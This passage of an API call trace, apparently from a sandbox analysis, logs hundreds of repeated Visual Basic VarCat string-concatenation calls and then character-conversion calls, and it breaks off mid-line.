VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.620] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.621] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.622] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.623] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.624] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.625] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.625] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.625] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.625] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.625] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.625] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.625] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.625] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.625] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 